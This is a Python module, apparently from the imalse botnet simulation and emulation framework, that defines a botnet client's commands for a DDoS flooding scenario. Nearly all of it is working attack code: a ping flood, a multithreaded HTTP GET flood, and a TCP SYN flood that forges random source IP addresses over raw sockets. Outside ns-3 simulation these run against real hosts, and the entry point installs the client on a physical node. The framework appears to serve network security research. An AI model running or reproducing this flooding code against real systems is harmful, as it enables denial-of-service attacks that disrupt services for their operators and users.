Source

imalse / scenario / ddos_flooding / client_cmd.py

"""

This file contains the Client Command Meta Description for the ddos ping
flooding scenario.

"""
import socket
import sys
import time

from random import randrange
from threading import Thread
    
from core.real import PhysicalNode 
from core.nodes.client import ClientCMD as CCMD

from scenario.ddos_flooding.config import ClientDescription
           
class ClientCMD(CCMD):
    
    """This class is a subclass of ClientCMD."""
    
    def __init__(self, desc=None):
        if desc == None:
            desc = ClientDescription()
            
        CCMD.__init__(self, desc)
        self.connected = False

    def ping_flood(self, sock, data):
        """Start ping flood."""        
        self.node.ping(sock, data, threaded=True)

    def get_request_flood(self, sock, data):
        """Start http get request flood."""
        self.start_http_get_flood(data.hostname, data.port, data.num_requests, data.num_threads)
    
    def syn_flood(self, sock, data):
        """Start TCP syn flood."""
        self.start_syn_flood(data.hostname, data.port, data.num_packets, data.num_threads)
        
    def recv_ack(self):
        """
        
        Overridden method. Callback when a 'ack' message is received from the 
        server. A flag is set to true when the connection is made.
        
        """
        self.logger.info("connection constructed")
        print 'connection constructed'
        self.connected = True
        self.node.recv(self.sock, 512, self.dispatcher)

    #################################
    ###       TCP Syn Attack      ###
    #################################    

    NOT_VALID = [10, 127, 169, 172, 192]

    def generate_random_ip(self):
        """Generate a random ip address"""
        first = randrange(1, 256)
        while first in self.NOT_VALID:
            first = randrange(1, 256)
    
        return ".".join([str(first), str(randrange(1, 256)), \
                          str(randrange(1, 256)), str(randrange(1, 256))])          
            
    def auto_send_packets(self, port, dest_ip, num_packets):
        """
        
        This function is run in a separate thread. It sends tcp syn packets to a
        specific host.
        
        """
        if self.node.NODE_TYPE != 'sim_ns3':
            sock = self.node.create_raw_sock_without_header()
            for _ in range(num_packets):
                source_ip = self.generate_random_ip()
                packet = self.node.construct_packet(source_ip, dest_ip)
                self.node.sendto(sock, packet, dest_ip , port)
            return
        
        self.connected = False
        sock = self.node.create_sock({'type':'client', 'proto': 'tcp'})
        self.node.connect(sock, ((str(dest_ip), int(port))))
        
        while self.connected == False:
            pass        
           
        for _ in range(num_packets):
            source_ip = self.generate_random_ip()
            packet = self.node.construct_packet(sock, source_ip, dest_ip, socket.IPPROTO_TCP)
            self.node.send_packet(sock, packet)
            
        print("\nDone %i requests on %s" % (num_packets, dest_ip))    
            
    def start_syn_flood(self, hostname, port, num_packets, num_threads):
        """Start the tcp syn flood."""
        dest_ip = socket.gethostbyname(hostname)
            
        num_packets_per_thread = int(num_packets/num_threads)
        
        try:
            for _ in range(num_threads):
                flood_thread = Thread( 
                                  target=self.auto_send_packets,\
                                  args=(port, dest_ip, num_packets_per_thread) 
                                  )
                flood_thread.start()
        except (KeyboardInterrupt, SystemExit):
            print "\n! Receive Keyboard interrupt, quitting threads. \n"
        
    #################################
    ###       HTTP GetAttack      ###
    #################################     
       
    def real_networking(self, hostname, port):
        sock = self.node.create_sock({'proto': 'tcp'})
        self.node.connect(sock, ((hostname, port)))
        self.node.send(sock, "GET / HTTP/1.1\r\n\r\n")
        self.node.close(sock)
    
    def auto_send_request(self, hostname, port=80, num_request=10):
        """
        
        This function is run in a separate thread. It sends http get requests to a
        specific host.
        
        """    
        if self.node.NODE_TYPE != 'sim_ns3':
            for _ in range(num_request):
                try:    
                    self.real_networking(hostname, port)
                except socket.error as err:
                    print "ERROR: " + str(err)
            return
        
        self.connected = False   
        sock = self.node.create_sock({'type':'client', 'proto': 'tcp'})                
        self.node.connect(sock, ((str(hostname), int(port))))
        
        while self.connected == False:
            pass
        
        for _ in range(num_request):
            self.node.send(sock, "GET / HTTP/1.1\r\n\r\n") 
                    
    def start_http_get_flood(self, hostname, port=80, num_request=1000, num_threads=100):    
        """Start the http get flooding.""" 
        number_of_requests_per_thread = int(num_request/num_threads)    
        try:
            for _ in range(num_threads):
                flood_thread = Thread( 
                                  target=self.auto_send_request,\
                                  args=(hostname, port, number_of_requests_per_thread) 
                                  )
                flood_thread.start()
        except (KeyboardInterrupt, SystemExit):
            print "\n! Receive Keyboard interrupt, quitting threads. \n"

if __name__ == "__main__":
    cmd = ClientCMD()
    node = PhysicalNode()
    cmd.install(node)
    node.start()